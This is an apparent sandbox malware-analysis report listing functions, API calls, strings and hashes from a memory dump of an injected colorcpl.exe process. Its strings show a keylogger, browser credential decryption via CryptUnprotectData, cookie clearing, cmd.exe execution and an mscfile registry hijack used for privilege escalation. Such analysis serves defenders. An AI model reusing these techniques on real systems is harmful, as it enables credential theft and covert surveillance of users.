Source File: 00000005.00000002.3792390039.0000000003090000.00000040.00000400.00020000.00000000.sdmp, Offset: 03090000, based on PE: true

Associated: 00000005.00000002.3792390039.0000000003105000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_3090000_colorcpl.jbxd

Yara matches

Similarity

API ID: _free$ErrorFreeHeapLast
String ID:
API String ID: 776569668-0
Opcode ID: 0ef2b81e105a104f0d560a1e49210758bbad6814b0ad9e697aaed95e205fdbed
Instruction ID: 166a430fa9ff8e781216c596963dabe0d3510c6a48753aea9fef679b2969613b
Opcode Fuzzy Hash: 0ef2b81e105a104f0d560a1e49210758bbad6814b0ad9e697aaed95e205fdbed
Instruction Fuzzy Hash: 12F03AB99033218FC641FF24F8456493BE1F704B61306968AF4599AE68CF3E4942CFA5

Function 030A2446 Relevance: 7.2, APIs: 3, Strings: 1, Instructions: 179registryCOMMON

Download Yara Rule

APIs

RegQueryInfoKeyW.ADVAPI32(?,?,00000104,00000000,?,?,?,?,?,?,?,?), ref: 030A24AD
RegEnumKeyExW.ADVAPI32(?,00000000,?,000000FF,00000000,00000000,00000000,?,?,?,00000104,00000000,?,?,?,?), ref: 030A24DC
RegEnumValueW.ADVAPI32(?,00000000,?,00003FFF,00000000,?,?,00002710,?,?,?,?,?,?,?,?), ref: 030A257C

Strings

[regsplt], xrefs: 030A2608

Memory Dump Source

Source File: 00000005.00000002.3792390039.0000000003090000.00000040.00000400.00020000.00000000.sdmp, Offset: 03090000, based on PE: true

Associated: 00000005.00000002.3792390039.0000000003105000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_3090000_colorcpl.jbxd

Yara matches

Similarity

API ID: Enum$InfoQueryValue
String ID: [regsplt]
API String ID: 3554306468-4262303796
Opcode ID: a5514f0dd06119a18e7f6e3935953f1b6dee61b94da1feb7a1ddef2d9e1cf3c5
Instruction ID: 9aba56421d944c49ee4b63219f6ae2f1bacd7f2f0267994e215640f043e573e5
Opcode Fuzzy Hash: a5514f0dd06119a18e7f6e3935953f1b6dee61b94da1feb7a1ddef2d9e1cf3c5
Instruction Fuzzy Hash: BB513F75A0121DAEEF14EBE4DC90EEFB7BCBF44200F100566E505AA191EF706B49DBA0

Function 030DB8C9 Relevance: 7.2, APIs: 2, Strings: 2, Instructions: 168COMMON

Download Yara Rule

APIs

_strpbrk.LIBCMT ref: 030DB918
_free.LIBCMT ref: 030DBA35

Part of subcall function 030C9AA3: IsProcessorFeaturePresent.KERNEL32(00000017,030C9A75,?,?,?,00000000,?,00000000,?,?,030C9A95,00000000,00000000,00000000,00000000,00000000), ref: 030C9AA5
Part of subcall function 030C9AA3: GetCurrentProcess.KERNEL32(C0000417), ref: 030C9AC7
Part of subcall function 030C9AA3: TerminateProcess.KERNEL32(00000000), ref: 030C9ACE

Strings

*?, xrefs: 030DB90C
., xrefs: 030DBBEC

Memory Dump Source

Source File: 00000005.00000002.3792390039.0000000003090000.00000040.00000400.00020000.00000000.sdmp, Offset: 03090000, based on PE: true

Associated: 00000005.00000002.3792390039.0000000003105000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_3090000_colorcpl.jbxd

Yara matches

Similarity

API ID: Process$CurrentFeaturePresentProcessorTerminate_free_strpbrk
String ID: *?$.
API String ID: 2812119850-3972193922
Opcode ID: 5dfc5c04e88bff774400eef92f9a188e96d7e5ade9dca766e11bbcc0c0b71fd5
Instruction ID: c85cbcf84eeab447b478f0edaf816672991371d8f73e2127238d18941aa0dc28
Opcode Fuzzy Hash: 5dfc5c04e88bff774400eef92f9a188e96d7e5ade9dca766e11bbcc0c0b71fd5
Instruction Fuzzy Hash: B9518275E013099FDF14DFA9C880AEDFBF9EF88314F2581A9E455E7340EA759A018B50

Function 030D0935 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 116COMMON

Download Yara Rule

APIs

GetModuleFileNameA.KERNEL32(00000000,C:\Windows\SysWOW64\colorcpl.exe,00000104), ref: 030D0975
_free.LIBCMT ref: 030D0A40
_free.LIBCMT ref: 030D0A4A

Strings

C:\Windows\SysWOW64\colorcpl.exe, xrefs: 030D096C, 030D0973, 030D09A2, 030D09DA

Memory Dump Source

Source File: 00000005.00000002.3792390039.0000000003090000.00000040.00000400.00020000.00000000.sdmp, Offset: 03090000, based on PE: true

Associated: 00000005.00000002.3792390039.0000000003105000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_3090000_colorcpl.jbxd

Yara matches

Similarity

API ID: _free$FileModuleName
String ID: C:\Windows\SysWOW64\colorcpl.exe
API String ID: 2506810119-1707929182
Opcode ID: a50c7169cc900aab77d0a659abaf36c5b0ff68aebe0937ccaca3090fe34da965
Instruction ID: 3a93d77e356cc8bd9e97d8d5a90d64c4a9d018721f0a4df78193780139ca104f
Opcode Fuzzy Hash: a50c7169cc900aab77d0a659abaf36c5b0ff68aebe0937ccaca3090fe34da965
Instruction Fuzzy Hash: 15319475A02359EFDB21EF99D8C4ADEFBFCEF85710F1440AAE4099B200D6B18A45CB51

Function 030A9675 Relevance: 7.1, APIs: 1, Strings: 3, Instructions: 90COMMON

Download Yara Rule

APIs

Part of subcall function 030A2006: RegOpenKeyExW.ADVAPI32(80000000,http\shell\open\command,00000000,00020019,00000000,03102248,03101FFC), ref: 030A2030
Part of subcall function 030A2006: RegQueryValueExW.ADVAPI32(00000000,00000000,00000000,00000000,?,00000400), ref: 030A204B
Part of subcall function 030A2006: RegCloseKey.ADVAPI32(00000000), ref: 030A2054

Part of subcall function 030A9F23: GetCurrentProcess.KERNEL32(?,?,?,0309C663,WinDir,00000000,00000000), ref: 030A9F34

_wcslen.LIBCMT ref: 030A9744

Strings

.exe, xrefs: 030A9696
program files\, xrefs: 030A972A, 030A9731, 030A9743
program files (x86)\, xrefs: 030A973E

Memory Dump Source

Source File: 00000005.00000002.3792390039.0000000003090000.00000040.00000400.00020000.00000000.sdmp, Offset: 03090000, based on PE: true

Associated: 00000005.00000002.3792390039.0000000003105000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_3090000_colorcpl.jbxd

Yara matches

Similarity

API ID: CloseCurrentOpenProcessQueryValue_wcslen
String ID: .exe$program files (x86)\$program files\
API String ID: 37874593-1203593143
Opcode ID: 37ca558601e52cceede0bb14b1daa5061802a2e41bfbccc5c1746aa637fd865e
Instruction ID: a89e943e5b2d317368d879ddb3470a3ca1f24fc2665a3d0253d5d4d6314e0280
Opcode Fuzzy Hash: 37ca558601e52cceede0bb14b1daa5061802a2e41bfbccc5c1746aa637fd865e
Instruction Fuzzy Hash: 0C214766B023087BEF18FBF89C959FE76AD9AC5110704053EE505AF281EE254D099261

Function 0309A0B0 Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 68timeCOMMON

Download Yara Rule

APIs

GetLocalTime.KERNEL32(?,?,00000000), ref: 0309A0BE
wsprintfW.USER32 ref: 0309A13F

Part of subcall function 0309962E: SetEvent.KERNEL32(?,?,?,0309A77B,?,?,?,?,?,00000000), ref: 0309965A

Strings

[%04i/%02i/%02i %02i:%02i:%02i , xrefs: 0309A0C7
], xrefs: 0309A0CC

Memory Dump Source

Source File: 00000005.00000002.3792390039.0000000003090000.00000040.00000400.00020000.00000000.sdmp, Offset: 03090000, based on PE: true

Associated: 00000005.00000002.3792390039.0000000003105000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_3090000_colorcpl.jbxd

Yara matches

Similarity

API ID: EventLocalTimewsprintf
String ID: [%04i/%02i/%02i %02i:%02i:%02i $]
API String ID: 1497725170-1359877963
Opcode ID: 17e171a51b098ea476668ee586987b6286fb3fab3f20b50a9d76b310eb29bd73
Instruction ID: 66ef7f9a3f6ee9f071df7a05e53bed5aa4764a50eb643d3b5ea4b7255a6967a8
Opcode Fuzzy Hash: 17e171a51b098ea476668ee586987b6286fb3fab3f20b50a9d76b310eb29bd73
Instruction Fuzzy Hash: 8211547A50521CAADB0DFB95EC548FE77BCEE98310B00011FF4065A580EF786A46D6A4

Function 03099E37 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 65threadCOMMON

Download Yara Rule

APIs

Part of subcall function 0309A0B0: GetLocalTime.KERNEL32(?,?,00000000), ref: 0309A0BE
Part of subcall function 0309A0B0: wsprintfW.USER32 ref: 0309A13F

Part of subcall function 030A94DA: GetLocalTime.KERNEL32(00000000), ref: 030A94F4

CreateThread.KERNEL32(00000000,00000000,Function_000092EF,?,00000000,00000000), ref: 03099EB7
CreateThread.KERNEL32(00000000,00000000,Function_00009311,?,00000000,00000000), ref: 03099EC3
CreateThread.KERNEL32(00000000,00000000,0309931D,?,00000000,00000000), ref: 03099ECF

Strings

Online Keylogger Started, xrefs: 03099E4C, 03099E55, 03099E7F

Memory Dump Source

Source File: 00000005.00000002.3792390039.0000000003090000.00000040.00000400.00020000.00000000.sdmp, Offset: 03090000, based on PE: true

Associated: 00000005.00000002.3792390039.0000000003105000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_3090000_colorcpl.jbxd

Yara matches

Similarity

API ID: CreateThread$LocalTime$wsprintf
String ID: Online Keylogger Started
API String ID: 112202259-1258561607
Opcode ID: 408ac7a68a2647dad38a243d17482498b844ec2428f70faffc0b1e38a15d10d6
Instruction ID: acb5a65b6f1d2736d2d4fef16535c904cfe04e7c946493e84c0939db379a72f7
Opcode Fuzzy Hash: 408ac7a68a2647dad38a243d17482498b844ec2428f70faffc0b1e38a15d10d6
Instruction Fuzzy Hash: 6B01D6A8B0230C3EFE20F6759CC6DFF7A6CCAC2198B44045EF5451A142DA552C0592F6

Function 03096071 Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 53libraryloaderCOMMON

Download Yara Rule

APIs

LoadLibraryA.KERNEL32(crypt32,CryptUnprotectData,?,00000000,03096039,?,00000000), ref: 03096090
GetProcAddress.KERNEL32(00000000), ref: 03096097

Strings

CryptUnprotectData, xrefs: 03096086
crypt32, xrefs: 0309608B

Memory Dump Source

Source File: 00000005.00000002.3792390039.0000000003090000.00000040.00000400.00020000.00000000.sdmp, Offset: 03090000, based on PE: true

Associated: 00000005.00000002.3792390039.0000000003105000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_3090000_colorcpl.jbxd

Yara matches

Similarity

API ID: AddressLibraryLoadProc
String ID: CryptUnprotectData$crypt32
API String ID: 2574300362-2380590389
Opcode ID: 765b10216c6b962b2eac5ea91eabc2bddccaed10e2e63c6e7271daca92e4dc80
Instruction ID: 804de7ca4d6aed6c37d390080d295c6efeb2183ab5e66125f7b789cb2d74332d
Opcode Fuzzy Hash: 765b10216c6b962b2eac5ea91eabc2bddccaed10e2e63c6e7271daca92e4dc80
Instruction Fuzzy Hash: 43016D35A0220AAFDF14CFB9D8949AFBBF8EB44110B0402AFD954C3600C736D400C790

Function 0309513C Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 46synchronizationCOMMON

Download Yara Rule

APIs

WaitForSingleObject.KERNEL32(?,000003E8,?,?,?,03095139), ref: 03095153
CloseHandle.KERNEL32(?), ref: 030951AA
SetEvent.KERNEL32(?), ref: 030951B9

Strings

Connection Timeout, xrefs: 03095178

Memory Dump Source

Source File: 00000005.00000002.3792390039.0000000003090000.00000040.00000400.00020000.00000000.sdmp, Offset: 03090000, based on PE: true

Associated: 00000005.00000002.3792390039.0000000003105000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_3090000_colorcpl.jbxd

Yara matches

Similarity

API ID: CloseEventHandleObjectSingleWait
String ID: Connection Timeout
API String ID: 2055531096-499159329
Opcode ID: 27fb17995ff3a095add8a318cc7ffa479a1081d5090fef0f1ccb318d5f3bfe27
Instruction ID: 7b285ca99e40ceb99d445460b21304b71276e8c597837ebe38a823484d2e4ac8
Opcode Fuzzy Hash: 27fb17995ff3a095add8a318cc7ffa479a1081d5090fef0f1ccb318d5f3bfe27
Instruction Fuzzy Hash: 22014735A43F00AFFB22FB7A9C5046ABBD9FF426013040D1FD1D34AA21CB65A400EB41

Function 0309D1F0 Relevance: 7.0, APIs: 1, Strings: 3, Instructions: 45COMMON

Download Yara Rule

APIs

__CxxThrowException@8.LIBVCRUNTIME ref: 0309D25E

Strings

ios_base::badbit set, xrefs: 0309D21A
ios_base::eofbit set, xrefs: 0309D24D
ios_base::failbit set, xrefs: 0309D240

Memory Dump Source

Source File: 00000005.00000002.3792390039.0000000003090000.00000040.00000400.00020000.00000000.sdmp, Offset: 03090000, based on PE: true

Associated: 00000005.00000002.3792390039.0000000003105000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_3090000_colorcpl.jbxd

Yara matches

Similarity

API ID: Exception@8Throw
String ID: ios_base::badbit set$ios_base::eofbit set$ios_base::failbit set
API String ID: 2005118841-1866435925
Opcode ID: c06a4d444fba98b76700574326d862b41e10dcfa53711e82896e0314b9d439cb
Instruction ID: de93807460d4e416b9808a75529d6a8ec976ac8dbb0896008b3f649849bd847e
Opcode Fuzzy Hash: c06a4d444fba98b76700574326d862b41e10dcfa53711e82896e0314b9d439cb
Instruction Fuzzy Hash: 5E01F966AC730C7EFF54E794DC13FFDB3A89B70640F048447AA216E4C1DA71A609E621

Function 030A4839 Relevance: 7.0, APIs: 1, Strings: 3, Instructions: 42COMMON

Download Yara Rule

APIs

ShellExecuteW.SHELL32(00000000,open,cmd.exe,00000000,00000000,00000000), ref: 030A487B

Strings

open, xrefs: 030A4875
cmd.exe, xrefs: 030A4870
/C , xrefs: 030A4859

Memory Dump Source

Source File: 00000005.00000002.3792390039.0000000003090000.00000040.00000400.00020000.00000000.sdmp, Offset: 03090000, based on PE: true

Associated: 00000005.00000002.3792390039.0000000003105000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_3090000_colorcpl.jbxd

Yara matches

Similarity

API ID: ExecuteShell
String ID: /C $cmd.exe$open
API String ID: 587946157-3896048727
Opcode ID: a33dfdf755505942cdfdf6dee8e77076fa567e419d2c38f3fb5c6183f6a95955
Instruction ID: 0a7b840a40e8e38d8df6399147ac8f8ef082c5b89ee199109d6b881bb862be29
Opcode Fuzzy Hash: a33dfdf755505942cdfdf6dee8e77076fa567e419d2c38f3fb5c6183f6a95955
Instruction Fuzzy Hash: 1BF0127534A3095FDA08FBB4DCA0DEFB398ABE0110F400D2FA1968A591EF349909D611

Function 030A2006 Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 40registryCOMMON

Download Yara Rule

APIs

RegOpenKeyExW.ADVAPI32(80000000,http\shell\open\command,00000000,00020019,00000000,03102248,03101FFC), ref: 030A2030
RegQueryValueExW.ADVAPI32(00000000,00000000,00000000,00000000,?,00000400), ref: 030A204B
RegCloseKey.ADVAPI32(00000000), ref: 030A2054

Strings

http\shell\open\command, xrefs: 030A2026

Memory Dump Source

Source File: 00000005.00000002.3792390039.0000000003090000.00000040.00000400.00020000.00000000.sdmp, Offset: 03090000, based on PE: true

Associated: 00000005.00000002.3792390039.0000000003105000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_3090000_colorcpl.jbxd

Yara matches

Similarity

API ID: CloseOpenQueryValue
String ID: http\shell\open\command
API String ID: 3677997916-1487954565
Opcode ID: da709fd8f0b4de56aa7ca6130138bfefb90ee73870f215b42182154731b609ce
Instruction ID: e0b555229c9dd95b1965c3fc2b9bde28fd2cfee5a72b2b2eaf9a555561f79d93
Opcode Fuzzy Hash: da709fd8f0b4de56aa7ca6130138bfefb90ee73870f215b42182154731b609ce
Instruction Fuzzy Hash: D9F0967160121CFFDBA0EA96EC49EDFBBBCEB94B01F0040A6B615E6100DF715A59D7A0

Function 030A2204 Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 39registryCOMMON

Download Yara Rule

APIs

RegCreateKeyW.ADVAPI32(80000001,Software\Classes\mscfile\shell\open\command,?), ref: 030A220F
RegSetValueExW.ADVAPI32(?,030F9654,00000000,?,00000000,00000000,030F9654,?,0309674F,030F9654,C:\Windows\SysWOW64\colorcpl.exe), ref: 030A223E
RegCloseKey.ADVAPI32(?,?,0309674F,030F9654,C:\Windows\SysWOW64\colorcpl.exe), ref: 030A2249

Strings

Software\Classes\mscfile\shell\open\command, xrefs: 030A220D

Memory Dump Source

Source File: 00000005.00000002.3792390039.0000000003090000.00000040.00000400.00020000.00000000.sdmp, Offset: 03090000, based on PE: true

Associated: 00000005.00000002.3792390039.0000000003105000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_3090000_colorcpl.jbxd

Yara matches

Similarity

API ID: CloseCreateValue
String ID: Software\Classes\mscfile\shell\open\command
API String ID: 1818849710-505396733
Opcode ID: 8dfdf09a5ce2c71b8b33d950340ea02e62e8e7bae2fe9651121ae761fbf3abd3
Instruction ID: 9f743c03b8a3c20576e87079281c6aebc0e6a8d34af3e36b2495ee845795e892
Opcode Fuzzy Hash: 8dfdf09a5ce2c71b8b33d950340ea02e62e8e7bae2fe9651121ae761fbf3abd3
Instruction Fuzzy Hash: 85F04F7154211CFBDF00EFA0FD05EEE376CEF44651F008556B9059A110EB3AAE14DB90

Function 0309C9CE Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 39COMMON

Download Yara Rule

APIs

std::_Lockit::_Lockit.LIBCPMT ref: 0309C9D9
std::_Locinfo::_Locinfo_ctor.LIBCPMT ref: 0309CA18

Part of subcall function 030C33ED: _Yarn.LIBCPMT ref: 030C340C
Part of subcall function 030C33ED: _Yarn.LIBCPMT ref: 030C3430

__CxxThrowException@8.LIBVCRUNTIME ref: 0309CA3E

Strings

bad locale name, xrefs: 0309CA28

Memory Dump Source

Source File: 00000005.00000002.3792390039.0000000003090000.00000040.00000400.00020000.00000000.sdmp, Offset: 03090000, based on PE: true

Associated: 00000005.00000002.3792390039.0000000003105000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_3090000_colorcpl.jbxd

Yara matches

Similarity

API ID: Yarnstd::_$Exception@8Locinfo::_Locinfo_ctorLockitLockit::_Throw
String ID: bad locale name
API String ID: 3628047217-1405518554
Opcode ID: 91622e0f4ca4289387fb0d4c3c68d133065eac29cfbf40a8018063f7152d7a6d
Instruction ID: e560239653e873a6a2286976939df359f00d5042cde83c743e5c4ec6e91366a0
Opcode Fuzzy Hash: 91622e0f4ca4289387fb0d4c3c68d133065eac29cfbf40a8018063f7152d7a6d
Instruction Fuzzy Hash: C5F0C83E412704EFEB24FB60D851DDEB7A89F54210F54892EE5560A4D0FF31AE08D790

Function 030CFD01 Relevance: 6.1, APIs: 4, Instructions: 133COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.3792390039.0000000003090000.00000040.00000400.00020000.00000000.sdmp, Offset: 03090000, based on PE: true

Associated: 00000005.00000002.3792390039.0000000003105000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_3090000_colorcpl.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: aa860ef357c15fa9fe0d57a6c7e2aa50abf3e930524f8439b56f7be688c447fd
Instruction ID: a45fd4821cddefc433530fcbe0c6b2aab410e49d0e59ddb3a25293e9c966a82a
Opcode Fuzzy Hash: aa860ef357c15fa9fe0d57a6c7e2aa50abf3e930524f8439b56f7be688c447fd
Instruction Fuzzy Hash: A6412676A11789AFD724DF78CC40BAEBBEAEB88710F10462EE151DF290D77199018791

Function 0309AF4D Relevance: 6.1, APIs: 2, Strings: 2, Instructions: 103sleepCOMMON

Download Yara Rule

APIs

Sleep.KERNEL32 ref: 0309AF62
Sleep.KERNEL32(00001388), ref: 0309AFEA

Strings

Cleared browsers logins and cookies., xrefs: 0309B036
[Cleared browsers logins and cookies.], xrefs: 0309B025

Memory Dump Source

Source File: 00000005.00000002.3792390039.0000000003090000.00000040.00000400.00020000.00000000.sdmp, Offset: 03090000, based on PE: true

Associated: 00000005.00000002.3792390039.0000000003105000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_3090000_colorcpl.jbxd

Yara matches

Similarity

API ID: Sleep
String ID: [Cleared browsers logins and cookies.]$Cleared browsers logins and cookies.
API String ID: 3472027048-1236744412
Opcode ID: bf985e00013ee3b65497e37158703a28b76144be7f9b1f32fe8bda315571c04b
Instruction ID: d22a383280e527e8a800964320fcc9722271e2c3fe0f7eb25cbffb357a17456d
Opcode Fuzzy Hash: bf985e00013ee3b65497e37158703a28b76144be7f9b1f32fe8bda315571c04b
Instruction Fuzzy Hash: 8931AA4874F3846EFE51FBF864357EABBC64ED3950F0C488AA8D40F683DA564409A363

Function 030994FF Relevance: 6.1, APIs: 2, Strings: 2, Instructions: 81sleepCOMMON

Download Yara Rule

APIs

Part of subcall function 030AA2DB: GetForegroundWindow.USER32(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 030AA2EB
Part of subcall function 030AA2DB: GetWindowTextLengthW.USER32(00000000), ref: 030AA2F4
Part of subcall function 030AA2DB: GetWindowTextW.USER32(00000000,00000000,00000001), ref: 030AA31E

Sleep.KERNEL32(000001F4), ref: 0309955A
Sleep.KERNEL32(00000064), ref: 030995F5

Strings

], xrefs: 03099562
[ , xrefs: 03099576

Memory Dump Source

Source File: 00000005.00000002.3792390039.0000000003090000.00000040.00000400.00020000.00000000.sdmp, Offset: 03090000, based on PE: true

Associated: 00000005.00000002.3792390039.0000000003105000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_3090000_colorcpl.jbxd

Yara matches

Similarity

API ID: Window$SleepText$ForegroundLength
String ID: [ $ ]
API String ID: 3309952895-93608704
Opcode ID: bb6b1b2f07c9000845953c6a9fda8f60464be19d1091fd24ef447fd437f89338
Instruction ID: c3b3770dcd355fbf520488b81ab8b35cf02464b769fe2be8534aada3f23b91eb
Opcode Fuzzy Hash: bb6b1b2f07c9000845953c6a9fda8f60464be19d1091fd24ef447fd437f89338
Instruction Fuzzy Hash: 6D21B639B063046BED18F775DC26AEE33A8AFD1310F40081EE5525F1D1EF659A09A392

Function 030D0F33 Relevance: 6.1, APIs: 4, Instructions: 63COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.3792390039.0000000003090000.00000040.00000400.00020000.00000000.sdmp, Offset: 03090000, based on PE: true

Associated: 00000005.00000002.3792390039.0000000003105000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_3090000_colorcpl.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 24faa6d0380812fde2577e64d5dbf29d1fa8af47458eaa6b3d3261f09462b590
Instruction ID: a7dff3c6035053b4d1af5478d480aae8baa90bdf7db25672a0fae37fb69fe54d
Opcode Fuzzy Hash: 24faa6d0380812fde2577e64d5dbf29d1fa8af47458eaa6b3d3261f09462b590
Instruction Fuzzy Hash: 1301DFB270B71A3EE660A9787CC0FAB66CCCB817B4F350769F529591C4DA25CC004560

Function 030D0FB2 Relevance: 6.1, APIs: 4, Instructions: 59COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.3792390039.0000000003090000.00000040.00000400.00020000.00000000.sdmp, Offset: 03090000, based on PE: true

Associated: 00000005.00000002.3792390039.0000000003105000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_3090000_colorcpl.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: d3d9eb84bbaabd18f5415a50de6b718408aec6156ba01ea1177135983529daa6
Instruction ID: d686cf715647943451d2392a34784ff62373b64208bdd45ba96ce1d9a0390cec
Opcode Fuzzy Hash: d3d9eb84bbaabd18f5415a50de6b718408aec6156ba01ea1177135983529daa6
Instruction Fuzzy Hash: A10126B220B71A3EA6A0B9797CC8E6B6BCCDF853B83350325F121991C5EF788C404120

Function 030D5A95 Relevance: 6.1, APIs: 4, Instructions: 52libraryCOMMONLIBRARYCODE

Download Yara Rule

APIs

LoadLibraryExW.KERNEL32(00000000,00000000,00000800,00000000,00000000,00000000,?,030D5A3C,00000000,00000000,00000000,00000000,?,030D5D68,00000006,FlsSetValue), ref: 030D5AC7
GetLastError.KERNEL32(?,030D5A3C,00000000,00000000,00000000,00000000,?,030D5D68,00000006,FlsSetValue,030EC110,030EC118,00000000,00000364,?,030D57F7), ref: 030D5AD3
LoadLibraryExW.KERNEL32(00000000,00000000,00000000,?,030D5A3C,00000000,00000000,00000000,00000000,?,030D5D68,00000006,FlsSetValue,030EC110,030EC118,00000000), ref: 030D5AE1

Memory Dump Source

Source File: 00000005.00000002.3792390039.0000000003090000.00000040.00000400.00020000.00000000.sdmp, Offset: 03090000, based on PE: true

Associated: 00000005.00000002.3792390039.0000000003105000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_3090000_colorcpl.jbxd

Yara matches

Similarity

API ID: LibraryLoad$ErrorLast
String ID:
API String ID: 3177248105-0
Opcode ID: a5ba2626f2435a0d631cbdd24873f1897fd49017c9ad29dd689bb3de6860d09b
Instruction ID: 641414adfaf39c3dc2d0a7e5f12726feeaec89ecf089dbf21a27367c2982069c
Opcode Fuzzy Hash: a5ba2626f2435a0d631cbdd24873f1897fd49017c9ad29dd689bb3de6860d09b
Instruction Fuzzy Hash: FB01D4363033379BC761D96CAC8495B7BE8AF46A717190A20FD16D7180D725D400C6E0

Function 030AA20F Relevance: 6.0, APIs: 4, Instructions: 50fileCOMMON

Download Yara Rule

APIs

CreateFileW.KERNEL32(00000000,80000000,00000003,00000000,00000003,00000080,00000000,00000000,?,00000000,00000000,030A5A44), ref: 030AA228
GetFileSize.KERNEL32(00000000,00000000,00000000,?,00000000,00000000,030A5A44), ref: 030AA23C
ReadFile.KERNEL32(00000000,00000000,00000000,00000000,00000000,00000000,00000000,?,00000000,00000000,030A5A44), ref: 030AA261
CloseHandle.KERNEL32(00000000,00000000,00000000,030A5A44), ref: 030AA26F

Memory Dump Source

Source File: 00000005.00000002.3792390039.0000000003090000.00000040.00000400.00020000.00000000.sdmp, Offset: 03090000, based on PE: true

Associated: 00000005.00000002.3792390039.0000000003105000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_3090000_colorcpl.jbxd

Yara matches

Similarity

API ID: File$CloseCreateHandleReadSize
String ID:
API String ID: 3919263394-0
Opcode ID: 9fb6cba49eea609fb63c81cedcc8b9131ee9d386b5760f7b5d21699d97e801cc
Instruction ID: 9ed36a8b6a4462a44a368665226dd8f8d6ff7beb78423b2f88ac6b998570d1f3
Opcode Fuzzy Hash: 9fb6cba49eea609fb63c81cedcc8b9131ee9d386b5760f7b5d21699d97e801cc
Instruction Fuzzy Hash: 61F0C87534360C7FF6106A28BC94EBF379CD786964F00062DF901961C0C62B4C155230

Function 030C7603 Relevance: 6.0, APIs: 4, Instructions: 48COMMONLIBRARYCODE

Download Yara Rule

APIs

___BuildCatchObject.LIBVCRUNTIME ref: 030C761A

Part of subcall function 030C7C52: ___AdjustPointer.LIBCMT ref: 030C7C9C

_UnwindNestedFrames.LIBCMT ref: 030C7631
___FrameUnwindToState.LIBVCRUNTIME ref: 030C7643
CallCatchBlock.LIBVCRUNTIME ref: 030C7667

Memory Dump Source

Source File: 00000005.00000002.3792390039.0000000003090000.00000040.00000400.00020000.00000000.sdmp, Offset: 03090000, based on PE: true

Associated: 00000005.00000002.3792390039.0000000003105000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_3090000_colorcpl.jbxd

Yara matches

Similarity

API ID: CatchUnwind$AdjustBlockBuildCallFrameFramesNestedObjectPointerState
String ID:
API String ID: 2633735394-0
Opcode ID: f1135f3da04ba3a0995d0d42191a6de0eafd24a9b56dad318990318c05e81e44
Instruction ID: 8824733de5819347f3a1da6bc799e74dee64817ea9db8e8ac4ae9c8048daea06
Opcode Fuzzy Hash: f1135f3da04ba3a0995d0d42191a6de0eafd24a9b56dad318990318c05e81e44
Instruction Fuzzy Hash: DA011736011289BFCF529F69CC40EDE7BBAEF88B54F058018F91865120C336E861EFA4

Function 030A739D Relevance: 6.0, APIs: 4, Instructions: 43COMMON

Download Yara Rule

APIs

GetSystemMetrics.USER32(0000004C), ref: 030A73AA
GetSystemMetrics.USER32(0000004D), ref: 030A73B0
GetSystemMetrics.USER32(0000004E), ref: 030A73B6
GetSystemMetrics.USER32(0000004F), ref: 030A73BC

Memory Dump Source

Source File: 00000005.00000002.3792390039.0000000003090000.00000040.00000400.00020000.00000000.sdmp, Offset: 03090000, based on PE: true

Associated: 00000005.00000002.3792390039.0000000003105000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_3090000_colorcpl.jbxd

Yara matches

Similarity

API ID: MetricsSystem
String ID:
API String ID: 4116985748-0
